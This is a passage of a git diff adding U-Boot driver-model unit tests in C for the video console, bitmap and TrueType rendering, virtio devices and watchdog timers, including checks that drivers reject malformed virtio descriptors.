+ ut_assertok(uclass_get_device(UCLASS_VIDEO_CONSOLE, 0, &con));
+ ut_assertok(vidconsole_select_font(con, "8x16", 0));
+ vidconsole_put_string(con, test_string);
+ ut_asserteq(466, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+DM_TEST(dm_test_video_chars, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+#ifdef CONFIG_VIDEO_ANSI
+#define ANSI_ESC "\x1b"
+/* Test handling of ANSI escape sequences */
+static int dm_test_video_ansi(struct unit_test_state *uts)
+{
+ struct udevice *dev, *con;
+
+ ut_assertok(select_vidconsole(uts, "vidconsole0"));
+ ut_assertok(video_get_nologo(uts, &dev));
+ ut_assertok(uclass_get_device(UCLASS_VIDEO_CONSOLE, 0, &con));
+ ut_assertok(vidconsole_select_font(con, "8x16", 0));
+
+ /* reference clear: */
+ video_clear(con->parent);
+ video_sync(con->parent, false);
+ ut_asserteq(46, compress_frame_buffer(uts, dev));
+
+ /* test clear escape sequence: [2J */
+ vidconsole_put_string(con, "A\tB\tC"ANSI_ESC"[2J");
+ ut_asserteq(46, compress_frame_buffer(uts, dev));
+
+ /* test set-cursor: [%d;%df */
+ vidconsole_put_string(con, "abc"ANSI_ESC"[2;2fab"ANSI_ESC"[4;4fcd");
+ ut_asserteq(143, compress_frame_buffer(uts, dev));
+
+ /* test colors (30-37 fg color, 40-47 bg color) */
+ vidconsole_put_string(con, ANSI_ESC"[30;41mfoo"); /* black on red */
+ vidconsole_put_string(con, ANSI_ESC"[33;44mbar"); /* yellow on blue */
+ ut_asserteq(272, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+DM_TEST(dm_test_video_ansi, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+#endif
+
+/**
+ * check_vidconsole_output() - Run a text console test
+ *
+ * @uts: Test state
+ * @rot: Console rotation (0=normal orientation, 1=90 degrees clockwise,
+ * 2=upside down, 3=90 degree counterclockwise)
+ * @wrap_size: Expected size of compressed frame buffer for the wrap test
+ * @scroll_size: Same for the scroll test
+ * Return: 0 on success
+ */
+static int check_vidconsole_output(struct unit_test_state *uts, int rot,
+ int wrap_size, int scroll_size)
+{
+ struct udevice *dev, *con;
+ struct sandbox_sdl_plat *plat;
+ int i;
+
+ ut_assertok(uclass_find_device(UCLASS_VIDEO, 0, &dev));
+ ut_assert(!device_active(dev));
+ plat = dev_get_plat(dev);
+ plat->rot = rot;
+
+ ut_assertok(video_get_nologo(uts, &dev));
+ ut_assertok(uclass_get_device(UCLASS_VIDEO_CONSOLE, 0, &con));
+ ut_assertok(vidconsole_select_font(con, "8x16", 0));
+ ut_asserteq(46, compress_frame_buffer(uts, dev));
+
+ /* Check display wrap */
+ for (i = 0; i < 120; i++)
+ vidconsole_put_char(con, 'A' + i % 50);
+ ut_asserteq(wrap_size, compress_frame_buffer(uts, dev));
+
+ /* Check display scrolling */
+ for (i = 0; i < SCROLL_LINES; i++) {
+ vidconsole_put_char(con, 'A' + i % 50);
+ vidconsole_put_char(con, '\n');
+ }
+ ut_asserteq(scroll_size, compress_frame_buffer(uts, dev));
+
+ /* If we scroll enough, the screen becomes blank again */
+ for (i = 0; i < SCROLL_LINES; i++)
+ vidconsole_put_char(con, '\n');
+ ut_asserteq(46, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+
+/* Test text output through the console uclass */
+static int dm_test_video_context(struct unit_test_state *uts)
+{
+ ut_assertok(select_vidconsole(uts, "vidconsole0"));
+ ut_assertok(check_vidconsole_output(uts, 0, 788, 453));
+
+ return 0;
+}
+DM_TEST(dm_test_video_context, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test rotated text output through the console uclass */
+static int dm_test_video_rotation1(struct unit_test_state *uts)
+{
+ ut_assertok(check_vidconsole_output(uts, 1, 1112, 680));
+
+ return 0;
+}
+DM_TEST(dm_test_video_rotation1, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test rotated text output through the console uclass */
+static int dm_test_video_rotation2(struct unit_test_state *uts)
+{
+ ut_assertok(check_vidconsole_output(uts, 2, 783, 445));
+
+ return 0;
+}
+DM_TEST(dm_test_video_rotation2, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test rotated text output through the console uclass */
+static int dm_test_video_rotation3(struct unit_test_state *uts)
+{
+ ut_assertok(check_vidconsole_output(uts, 3, 1134, 681));
+
+ return 0;
+}
+DM_TEST(dm_test_video_rotation3, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Read a file into memory and return a pointer to it */
+static int read_file(struct unit_test_state *uts, const char *fname,
+ ulong *addrp)
+{
+ int buf_size = 100000;
+ ulong addr = 0;
+ int size, fd;
+ char *buf;
+
+ buf = map_sysmem(addr, 0);
+ ut_assert(buf != NULL);
+ fd = os_open(fname, OS_O_RDONLY);
+ ut_assert(fd >= 0);
+ size = os_read(fd, buf, buf_size);
+ os_close(fd);
+ ut_assert(size >= 0);
+ ut_assert(size < buf_size);
+ *addrp = addr;
+
+ return 0;
+}
+
+/* Test drawing a bitmap file */
+static int dm_test_video_bmp(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ ulong addr;
+
+ ut_assertok(video_get_nologo(uts, &dev));
+ ut_assertok(read_file(uts, "tools/logos/denx.bmp", &addr));
+
+ ut_assertok(video_bmp_display(dev, addr, 0, 0, false));
+ ut_asserteq(1368, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+DM_TEST(dm_test_video_bmp, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test drawing a bitmap file on a 8bpp display */
+static int dm_test_video_bmp8(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ ulong addr;
+
+ ut_assertok(uclass_find_first_device(UCLASS_VIDEO, &dev));
+ ut_assertnonnull(dev);
+ ut_assertok(sandbox_sdl_set_bpp(dev, VIDEO_BPP8));
+
+ ut_assertok(read_file(uts, "tools/logos/denx.bmp", &addr));
+
+ ut_assertok(video_bmp_display(dev, addr, 0, 0, false));
+ ut_asserteq(1247, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+DM_TEST(dm_test_video_bmp8, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test drawing a bitmap file on a 16bpp display */
+static int dm_test_video_bmp16(struct unit_test_state *uts)
+{
+ ulong src, src_len = ~0UL;
+ uint dst_len = ~0U;
+ struct udevice *dev;
+ ulong dst = 0x10000;
+
+ ut_assertok(uclass_find_first_device(UCLASS_VIDEO, &dev));
+ ut_assertnonnull(dev);
+ ut_assertok(sandbox_sdl_set_bpp(dev, VIDEO_BPP16));
+
+ ut_assertok(read_file(uts, "tools/logos/denx-16bpp.bmp.gz", &src));
+ ut_assertok(gunzip(map_sysmem(dst, 0), dst_len, map_sysmem(src, 0),
+ &src_len));
+
+ ut_assertok(video_bmp_display(dev, dst, 0, 0, false));
+ ut_asserteq(3700, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+DM_TEST(dm_test_video_bmp16, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test drawing a 24bpp bitmap file on a 16bpp display */
+static int dm_test_video_bmp24(struct unit_test_state *uts)
+{
+ ulong src, src_len = ~0UL;
+ uint dst_len = ~0U;
+ struct udevice *dev;
+ ulong dst = 0x10000;
+
+ ut_assertok(uclass_find_first_device(UCLASS_VIDEO, &dev));
+ ut_assertnonnull(dev);
+ ut_assertok(sandbox_sdl_set_bpp(dev, VIDEO_BPP16));
+
+ ut_assertok(read_file(uts, "tools/logos/denx-24bpp.bmp.gz", &src));
+ ut_assertok(gunzip(map_sysmem(dst, 0), dst_len, map_sysmem(src, 0),
+ &src_len));
+
+ ut_assertok(video_bmp_display(dev, dst, 0, 0, false));
+ ut_asserteq(3656, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+DM_TEST(dm_test_video_bmp24, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test drawing a 24bpp bitmap file on a 32bpp display */
+static int dm_test_video_bmp24_32(struct unit_test_state *uts)
+{
+ ulong src, src_len = ~0UL;
+ uint dst_len = ~0U;
+ struct udevice *dev;
+ ulong dst = 0x10000;
+
+ ut_assertok(uclass_find_first_device(UCLASS_VIDEO, &dev));
+ ut_assertnonnull(dev);
+ ut_assertok(sandbox_sdl_set_bpp(dev, VIDEO_BPP32));
+
+ ut_assertok(read_file(uts, "tools/logos/denx-24bpp.bmp.gz", &src));
+ ut_assertok(gunzip(map_sysmem(dst, 0), dst_len, map_sysmem(src, 0),
+ &src_len));
+
+ ut_assertok(video_bmp_display(dev, dst, 0, 0, false));
+ ut_asserteq(6827, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+DM_TEST(dm_test_video_bmp24_32, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test drawing a bitmap file on a 32bpp display */
+static int dm_test_video_bmp32(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ ulong addr;
+
+ ut_assertok(uclass_find_first_device(UCLASS_VIDEO, &dev));
+ ut_assertnonnull(dev);
+ ut_assertok(sandbox_sdl_set_bpp(dev, VIDEO_BPP32));
+ ut_assertok(read_file(uts, "tools/logos/denx.bmp", &addr));
+
+ ut_assertok(video_bmp_display(dev, addr, 0, 0, false));
+ ut_asserteq(2024, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+DM_TEST(dm_test_video_bmp32, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test drawing a compressed bitmap file */
+static int dm_test_video_bmp_comp(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ ulong addr;
+
+ ut_assertok(video_get_nologo(uts, &dev));
+ ut_assertok(read_file(uts, "tools/logos/denx-comp.bmp", &addr));
+
+ ut_assertok(video_bmp_display(dev, addr, 0, 0, false));
+ ut_asserteq(1368, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+DM_TEST(dm_test_video_bmp_comp, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test drawing a bitmap file on a 32bpp display */
+static int dm_test_video_comp_bmp32(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ ulong addr;
+
+ ut_assertok(uclass_find_first_device(UCLASS_VIDEO, &dev));
+ ut_assertnonnull(dev);
+ ut_assertok(sandbox_sdl_set_bpp(dev, VIDEO_BPP32));
+
+ ut_assertok(read_file(uts, "tools/logos/denx.bmp", &addr));
+
+ ut_assertok(video_bmp_display(dev, addr, 0, 0, false));
+ ut_asserteq(2024, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+DM_TEST(dm_test_video_comp_bmp32, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test drawing a bitmap file on a 8bpp display */
+static int dm_test_video_comp_bmp8(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ ulong addr;
+
+ ut_assertok(uclass_find_first_device(UCLASS_VIDEO, &dev));
+ ut_assertnonnull(dev);
+ ut_assertok(sandbox_sdl_set_bpp(dev, VIDEO_BPP8));
+
+ ut_assertok(read_file(uts, "tools/logos/denx.bmp", &addr));
+
+ ut_assertok(video_bmp_display(dev, addr, 0, 0, false));
+ ut_asserteq(1247, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+DM_TEST(dm_test_video_comp_bmp8, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test TrueType console */
+static int dm_test_video_truetype(struct unit_test_state *uts)
+{
+ struct udevice *dev, *con;
+ const char *test_string = "Criticism may not be agreeable, but it is necessary. It fulfils the same function as pain in the human body. It calls attention to an unhealthy state of things. Some see private enterprise as a predatory target to be shot, others as a cow to be milked, but few are those who see it as a sturdy horse pulling the wagon. The \aprice OF\b\bof greatness\n\tis responsibility.\n\nBye";
+
+ ut_assertok(video_get_nologo(uts, &dev));
+ ut_assertok(uclass_get_device(UCLASS_VIDEO_CONSOLE, 0, &con));
+ vidconsole_put_string(con, test_string);
+ ut_asserteq(12174, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+DM_TEST(dm_test_video_truetype, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test scrolling TrueType console */
+static int dm_test_video_truetype_scroll(struct unit_test_state *uts)
+{
+ struct sandbox_sdl_plat *plat;
+ struct udevice *dev, *con;
+ const char *test_string = "Criticism may not be agreeable, but it is necessary. It fulfils the same function as pain in the human body. It calls attention to an unhealthy state of things. Some see private enterprise as a predatory target to be shot, others as a cow to be milked, but few are those who see it as a sturdy horse pulling the wagon. The \aprice OF\b\bof greatness\n\tis responsibility.\n\nBye";
+
+ ut_assertok(uclass_find_device(UCLASS_VIDEO, 0, &dev));
+ ut_assert(!device_active(dev));
+ plat = dev_get_plat(dev);
+ plat->font_size = 100;
+
+ ut_assertok(video_get_nologo(uts, &dev));
+ ut_assertok(uclass_get_device(UCLASS_VIDEO_CONSOLE, 0, &con));
+ vidconsole_put_string(con, test_string);
+ ut_asserteq(34287, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+DM_TEST(dm_test_video_truetype_scroll, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test TrueType backspace, within and across lines */
+static int dm_test_video_truetype_bs(struct unit_test_state *uts)
+{
+ struct sandbox_sdl_plat *plat;
+ struct udevice *dev, *con;
+ const char *test_string = "...Criticism may or may\b\b\b\b\b\bnot be agreeable, but seldom it is necessary\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\bit is necessary. It fulfils the same function as pain in the human body. It calls attention to an unhealthy state of things.";
+
+ ut_assertok(uclass_find_device(UCLASS_VIDEO, 0, &dev));
+ ut_assert(!device_active(dev));
+ plat = dev_get_plat(dev);
+ plat->font_size = 100;
+
+ ut_assertok(video_get_nologo(uts, &dev));
+ ut_assertok(uclass_get_device(UCLASS_VIDEO_CONSOLE, 0, &con));
+ vidconsole_put_string(con, test_string);
+ ut_asserteq(29471, compress_frame_buffer(uts, dev));
+
+ return 0;
+}
+DM_TEST(dm_test_video_truetype_bs, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/virtio.c b/test/dm/virtio.c
new file mode 100644
index 00000000000..3efd7c74f42
--- /dev/null
+++ b/test/dm/virtio.c
@@ -0,0 +1,32 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2018, Bin Meng <bmeng.cn@gmail.com>
+ */
+
+#include <dm.h>
+#include <virtio_types.h>
+#include <virtio.h>
+#include <dm/device-internal.h>
+#include <dm/root.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Test of the virtio driver that does not have required driver ops */
+static int dm_test_virtio_missing_ops(struct unit_test_state *uts)
+{
+ struct udevice *bus;
+
+ /* find the virtio device */
+ ut_assertok(uclass_find_device(UCLASS_VIRTIO, 1, &bus));
+
+ /*
+ * Probe the device should fail with error -ENOENT.
+ * See ops check in virtio_uclass_pre_probe().
+ */
+ ut_asserteq(-ENOENT, device_probe(bus));
+
+ return 0;
+}
+DM_TEST(dm_test_virtio_missing_ops, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/virtio_device.c b/test/dm/virtio_device.c
new file mode 100644
index 00000000000..63dc53415b7
--- /dev/null
+++ b/test/dm/virtio_device.c
@@ -0,0 +1,197 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2018, Bin Meng <bmeng.cn@gmail.com>
+ */
+
+#include <dm.h>
+#include <virtio_types.h>
+#include <virtio.h>
+#include <virtio_ring.h>
+#include <dm/device-internal.h>
+#include <dm/root.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Basic test of the virtio uclass */
+static int dm_test_virtio_base(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev;
+ u8 status;
+
+ /* check probe success */
+ ut_assertok(uclass_first_device_err(UCLASS_VIRTIO, &bus));
+ ut_assertnonnull(bus);
+
+ /* check the child virtio-rng device is bound */
+ ut_assertok(device_find_first_child(bus, &dev));
+ ut_assertnonnull(dev);
+ ut_asserteq_str("virtio-rng#0", dev->name);
+
+ /* check driver status */
+ ut_assertok(virtio_get_status(dev, &status));
+ ut_asserteq(VIRTIO_CONFIG_S_ACKNOWLEDGE, status);
+
+ /* probe the virtio-rng driver */
+ ut_assertok(device_probe(dev));
+
+ /* check the device was reset and the driver picked up the device */
+ ut_assertok(virtio_get_status(dev, &status));
+ ut_asserteq(VIRTIO_CONFIG_S_DRIVER |
+ VIRTIO_CONFIG_S_DRIVER_OK |
+ VIRTIO_CONFIG_S_FEATURES_OK, status);
+
+ return 0;
+}
+DM_TEST(dm_test_virtio_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test all of the virtio uclass ops */
+static int dm_test_virtio_all_ops(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev;
+ struct virtio_dev_priv *uc_priv;
+ uint offset = 0, len = 0, nvqs = 1;
+ void *buffer = NULL;
+ u8 status;
+ u32 counter;
+ u64 features;
+ struct virtqueue *vqs[2];
+
+ /* check probe success */
+ ut_assertok(uclass_first_device_err(UCLASS_VIRTIO, &bus));
+ ut_assertnonnull(bus);
+
+ /* check the child virtio-rng device is bound */
+ ut_assertok(device_find_first_child(bus, &dev));
+ ut_assertnonnull(dev);
+
+ /*
+ * fake the virtio device probe by filling in uc_priv->vdev
+ * which is used by virtio_find_vqs/virtio_del_vqs.
+ */
+ uc_priv = dev_get_uclass_priv(bus);
+ ut_assertnonnull(uc_priv);
+ uc_priv->vdev = dev;
+
+ /* test virtio_xxx APIs */
+ ut_assertok(virtio_get_config(dev, offset, buffer, len));
+ ut_assertok(virtio_set_config(dev, offset, buffer, len));
+ ut_asserteq(-ENOSYS, virtio_generation(dev, &counter));
+ ut_assertok(virtio_set_status(dev, VIRTIO_CONFIG_S_DRIVER_OK));
+ ut_assertok(virtio_get_status(dev, &status));
+ ut_asserteq(VIRTIO_CONFIG_S_DRIVER_OK, status);
+ ut_assertok(virtio_reset(dev));
+ ut_assertok(virtio_get_status(dev, &status));
+ ut_asserteq(0, status);
+ ut_assertok(virtio_get_features(dev, &features));
+ ut_asserteq_64(BIT_ULL(VIRTIO_F_VERSION_1), features);
+ ut_assertok(virtio_set_features(dev));
+ ut_assertok(virtio_find_vqs(dev, nvqs, vqs));
+ ut_assertok(virtio_notify(dev, vqs[0]));
+ ut_assertok(virtio_del_vqs(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_virtio_all_ops, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test removal of virtio device driver */
+static int dm_test_virtio_remove(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev;
+ u8 status;
+
+ /* check probe success */
+ ut_assertok(uclass_first_device_err(UCLASS_VIRTIO, &bus));
+ ut_assertnonnull(bus);
+
+ /* check the child virtio-rng device is bound */
+ ut_assertok(device_find_first_child(bus, &dev));
+ ut_assertnonnull(dev);
+
+ /* set driver status to VIRTIO_CONFIG_S_DRIVER_OK */
+ ut_assertok(virtio_set_status(dev, VIRTIO_CONFIG_S_DRIVER_OK));
+
+ /* check the device can be successfully removed */
+ dev_or_flags(dev, DM_FLAG_ACTIVATED);
+ ut_asserteq(-EKEYREJECTED, device_remove(bus, DM_REMOVE_ACTIVE_ALL));
+
+ ut_asserteq(false, device_active(dev));
+ virtio_get_status(dev, &status);
+ ut_assertok(status);
+
+ return 0;
+}
+DM_TEST(dm_test_virtio_remove, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test all of the virtio ring */
+static int dm_test_virtio_ring(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev;
+ struct virtio_dev_priv *uc_priv;
+ struct virtqueue *vq;
+ struct virtio_sg sg[2];
+ struct virtio_sg *sgs[2];
+ unsigned int len;
+ u8 buffer[2][32];
+
+ /* check probe success */
+ ut_assertok(uclass_first_device_err(UCLASS_VIRTIO, &bus));
+ ut_assertnonnull(bus);
+
+ /* check the child virtio-blk device is bound */
+ ut_assertok(device_find_first_child(bus, &dev));
+ ut_assertnonnull(dev);
+
+ /*
+ * fake the virtio device probe by filling in uc_priv->vdev
+ * which is used by virtio_find_vqs/virtio_del_vqs.
+ */
+ uc_priv = dev_get_uclass_priv(bus);
+ ut_assertnonnull(uc_priv);
+ uc_priv->vdev = dev;
+
+ /* prepare the scatter-gather buffer */
+ sg[0].addr = buffer[0];
+ sg[0].length = sizeof(buffer[0]);
+ sg[1].addr = buffer[1];
+ sg[1].length = sizeof(buffer[1]);
+ sgs[0] = &sg[0];
+ sgs[1] = &sg[1];
+
+ /* read a buffer and report written size from device */
+ ut_assertok(virtio_find_vqs(dev, 1, &vq));
+ ut_assertok(virtqueue_add(vq, sgs, 0, 1));
+ vq->vring.used->idx = 1;
+ vq->vring.used->ring[0].id = 0;
+ vq->vring.used->ring[0].len = 0x53355885;
+ ut_asserteq_ptr(buffer, virtqueue_get_buf(vq, &len));
+ ut_asserteq(0x53355885, len);
+ ut_assertok(virtio_del_vqs(dev));
+
+ /* rejects used descriptors that aren't a chain head */
+ ut_assertok(virtio_find_vqs(dev, 1, &vq));
+ ut_assertok(virtqueue_add(vq, sgs, 0, 2));
+ vq->vring.used->idx = 1;
+ vq->vring.used->ring[0].id = 1;
+ vq->vring.used->ring[0].len = 0x53355885;
+ ut_assertnull(virtqueue_get_buf(vq, &len));
+ ut_assertok(virtio_del_vqs(dev));
+
+ /* device changes to descriptor are ignored */
+ ut_assertok(virtio_find_vqs(dev, 1, &vq));
+ ut_assertok(virtqueue_add(vq, sgs, 0, 1));
+ vq->vring.desc[0].addr = cpu_to_virtio64(dev, 0xbadbad11);
+ vq->vring.desc[0].len = cpu_to_virtio32(dev, 0x11badbad);
+ vq->vring.desc[0].flags = cpu_to_virtio16(dev, VRING_DESC_F_NEXT);
+ vq->vring.desc[0].next = cpu_to_virtio16(dev, U16_MAX);
+ vq->vring.used->idx = 1;
+ vq->vring.used->ring[0].id = 0;
+ vq->vring.used->ring[0].len = 6;
+ ut_asserteq_ptr(buffer, virtqueue_get_buf(vq, &len));
+ ut_asserteq(6, len);
+ ut_assertok(virtio_del_vqs(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_virtio_ring, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/virtio_rng.c b/test/dm/virtio_rng.c
new file mode 100644
index 00000000000..ab7d862d79e
--- /dev/null
+++ b/test/dm/virtio_rng.c
@@ -0,0 +1,51 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2022 Google, Inc.
+ * Written by Andrew Scull <ascull@google.com>
+ */
+
+#include <dm.h>
+#include <virtio_types.h>
+#include <virtio.h>
+#include <virtio_ring.h>
+#include <dm/device-internal.h>
+#include <dm/test.h>
+#include <rng.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* This is a brittle means of getting access to the virtqueue */
+struct virtio_rng_priv {
+ struct virtqueue *rng_vq;
+};
+
+/* Test the virtio-rng driver validates the used size */
+static int dm_test_virtio_rng_check_len(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev;
+ struct virtio_rng_priv *priv;
+ u8 buffer[16];
+
+ /* check probe success */
+ ut_assertok(uclass_first_device_err(UCLASS_VIRTIO, &bus));
+ ut_assertnonnull(bus);
+
+ /* check the child virtio-rng device is bound */
+ ut_assertok(device_find_first_child(bus, &dev));
+ ut_assertnonnull(dev);
+
+ /* probe the virtio-rng driver */
+ ut_assertok(device_probe(dev));
+
+ /* simulate the device returning the buffer with too much data */
+ priv = dev_get_priv(dev);
+ priv->rng_vq->vring.used->idx = 1;
+ priv->rng_vq->vring.used->ring[0].id = 0;
+ priv->rng_vq->vring.used->ring[0].len = U32_MAX;
+
+ /* check the driver gracefully handles the error */
+ ut_asserteq(-EIO, dm_rng_read(dev, buffer, sizeof(buffer)));
+
+ return 0;
+}
+DM_TEST(dm_test_virtio_rng_check_len, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/wdt.c b/test/dm/wdt.c
new file mode 100644
index 00000000000..1df2da23c6c
--- /dev/null
+++ b/test/dm/wdt.c
@@ -0,0 +1,162 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2017 Google, Inc
+ */
+
+#include <cyclic.h>
+#include <dm.h>
+#include <time.h>
+#include <wdt.h>
+#include <asm/gpio.h>
+#include <asm/state.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include <linux/delay.h>
+#include <watchdog.h>
+
+/* Test that watchdog driver functions are called */
+static int dm_test_wdt_base(struct unit_test_state *uts)
+{
+ struct sandbox_state *state = state_get_current();
+ struct udevice *dev;
+ const u64 timeout = 42;
+
+ ut_assertok(uclass_get_device_by_driver(UCLASS_WDT,
+ DM_DRIVER_GET(wdt_sandbox), &dev));
+ ut_assertnonnull(dev);
+ ut_asserteq(0, state->wdt.counter);
+ ut_asserteq(false, state->wdt.running);
+
+ ut_assertok(wdt_start(dev, timeout, 0));
+ ut_asserteq(timeout, state->wdt.counter);
+ ut_asserteq(true, state->wdt.running);
+
+ uint reset_count = state->wdt.reset_count;
+ ut_assertok(wdt_reset(dev));
+ ut_asserteq(reset_count + 1, state->wdt.reset_count);
+ ut_asserteq(true, state->wdt.running);
+
+ ut_assertok(wdt_stop(dev));
+ ut_asserteq(false, state->wdt.running);
+
+ return 0;
+}
+DM_TEST(dm_test_wdt_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_wdt_gpio_toggle(struct unit_test_state *uts)
+{
+ /*
+ * The sandbox wdt gpio is "connected" to gpio bank a, offset
+ * 7. Use the sandbox back door to verify that the gpio-wdt
+ * driver behaves as expected when using the 'toggle' algorithm.
+ */
+ struct udevice *wdt, *gpio;
+ const u64 timeout = 42;
+ const int offset = 8;
+ int val;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_WDT,
+ "wdt-gpio-toggle", &wdt));
+ ut_assertnonnull(wdt);
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_GPIO, "base-gpios", &gpio));
+ ut_assertnonnull(gpio);
+ ut_assertok(wdt_start(wdt, timeout, 0));
+
+ val = sandbox_gpio_get_value(gpio, offset);
+ ut_assertok(wdt_reset(wdt));
+ ut_asserteq(!val, sandbox_gpio_get_value(gpio, offset));
+ ut_assertok(wdt_reset(wdt));
+ ut_asserteq(val, sandbox_gpio_get_value(gpio, offset));
+
+ ut_asserteq(-ENOSYS, wdt_stop(wdt));
+
+ return 0;
+}
+DM_TEST(dm_test_wdt_gpio_toggle, UT_TESTF_SCAN_FDT);
+
+static int dm_test_wdt_gpio_level(struct unit_test_state *uts)
+{
+ /*
+ * The sandbox wdt gpio is "connected" to gpio bank a, offset
+ * 7. Use the sandbox back door to verify that the gpio-wdt
+ * driver behaves as expected when using the 'level' algorithm.
+ */
+ struct udevice *wdt, *gpio;
+ const u64 timeout = 42;
+ const int offset = 7;
+ int val;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_WDT,
+ "wdt-gpio-level", &wdt));
+ ut_assertnonnull(wdt);
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_GPIO, "base-gpios", &gpio));
+ ut_assertnonnull(gpio);
+ ut_assertok(wdt_start(wdt, timeout, 0));
+
+ val = sandbox_gpio_get_value(gpio, offset);
+ ut_assertok(wdt_reset(wdt));
+ ut_asserteq(val, sandbox_gpio_get_value(gpio, offset));
+ ut_assertok(wdt_reset(wdt));
+ ut_asserteq(val, sandbox_gpio_get_value(gpio, offset));
+
+ ut_asserteq(-ENOSYS, wdt_stop(wdt));
+
+ return 0;
+}
+DM_TEST(dm_test_wdt_gpio_level, UT_TESTF_SCAN_FDT);
+
+static int dm_test_wdt_watchdog_reset(struct unit_test_state *uts)
+{
+ struct sandbox_state *state = state_get_current();
+ struct udevice *gpio_wdt, *sandbox_wdt;
+ struct udevice *gpio;
+ const u64 timeout = 42;
+ const int offset = 8;
+ uint reset_count;
+ int val;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_WDT,
+ "wdt-gpio-toggle", &gpio_wdt));
+ ut_assertnonnull(gpio_wdt);
+ ut_assertok(uclass_get_device_by_driver(UCLASS_WDT,
+ DM_DRIVER_GET(wdt_sandbox), &sandbox_wdt));
+ ut_assertnonnull(sandbox_wdt);
+ ut_assertok(uclass_get_device_by_name(UCLASS_GPIO, "base-gpios", &gpio));
+ ut_assertnonnull(gpio);
+
+ /* Neither device should be "started", so watchdog_reset() should be a no-op. */
+ reset_count = state->wdt.reset_count;
+ val = sandbox_gpio_get_value(gpio, offset);
+ cyclic_run();
+ ut_asserteq(reset_count, state->wdt.reset_count);
+ ut_asserteq(val, sandbox_gpio_get_value(gpio, offset));
+
+ /* Start both devices. */
+ ut_assertok(wdt_start(gpio_wdt, timeout, 0));
+ ut_assertok(wdt_start(sandbox_wdt, timeout, 0));
+
+ /* Make sure both devices have just been pinged. */
+ timer_test_add_offset(100);
+ cyclic_run();
+ reset_count = state->wdt.reset_count;
+ val = sandbox_gpio_get_value(gpio, offset);
+
+ /* The gpio watchdog should be pinged, the sandbox one not. */
+ timer_test_add_offset(30);
+ cyclic_run();
+ ut_asserteq(reset_count, state->wdt.reset_count);
